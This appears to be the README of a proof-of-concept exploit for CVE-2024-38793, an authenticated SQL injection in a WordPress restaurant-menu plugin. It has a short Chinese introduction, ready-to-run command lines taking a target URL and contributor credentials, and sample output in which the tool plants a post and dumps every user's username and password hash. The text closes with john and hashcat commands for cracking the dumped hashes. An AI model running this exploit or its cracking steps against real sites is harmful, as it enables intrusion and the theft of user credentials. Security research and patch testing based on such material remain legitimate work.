CVE-2024-38793(Best Restaurant Menu by PriceListo <= 1.4.1 - 已认证(投稿者+)SQL 注入)漏洞利用概念验证代码。
这是针对漏洞 CVE-2024-38793 的概念验证利用代码,该漏洞影响 WordPress 插件 Best Restaurant Menu(又称 Great Restaurant Menu WP) 1.4.2 之前的所有版本。
该漏洞的产生是因为在使用 brm_restaurant_menu 短代码时,对 groups 参数缺少输入清理。
注意:这确实需要拥有至少投稿者(Contributor)级别权限的用户凭据。
该代码将尝试从 WordPress 用户表中获取用户名和密码哈希。
CVE-2024-38793 Exploit (Best Restaurant Menu by PriceListo Version <= 1.4.1) PoC
Requires Contributor+ Privileges on a WordPress instance with the plugin installed
Credit: @ret2desync
Will attempt to create a new post, exploit the vulnerability and extract all users usernames and password hashes
Example usage:
python3 CVE-2024-38793.py -t "http://127.0.0.1/wordpress/" -u contributor -p password --proxy "http://127.0.0.1:8080"
usage: CVE-2024-38793.py [-h] -t TARGET -u USERNAME -p PASSWORD [--proxy PROXY] [-o OUTFILE]
python3 CVE-2024-38793.py -t "http://127.0.0.1/wordpress/" -u contributor -p password
CVE-2024-38793 Exploit (Best Restaurant Menu by PriceListo Version <= 1.4.1) PoC
Requires Contributor+ Privileges on a WordPress instance with the plugin installed
Credit: @ret2desync
Will attempt to create a new post, exploit the vulnerability and extract all users usernames and password hashes
Example usage:
python3 CVE-2024-38793.py -t "http://127.0.0.1/wordpress/" -u contributor -p password --proxy "http://127.0.0.1:8080"
[*] Successfully signed in to Wordpress using contributor password
[*] Successfully created new post, id: 219
[*] Successfully saved new post with exploit, post id: 219
[*] Successfully grabbed usernames and password hashes
[*] Found 2 sets of credentials
[*** Credentials ***]
root:$P$BG.b.gHI.byee9PWs8GspKxY9qp0Cm0
contributor:$P$BBVRINbQUo28Tpbp3H7/iITT/Eo9aR0
[*] Crack hashes with:
john <hashes_file> --wordlist=<wordlist>
hashcat -m 400 -a 0 --username <hashes_file> <wordlist>
[*] Exploit completed successfully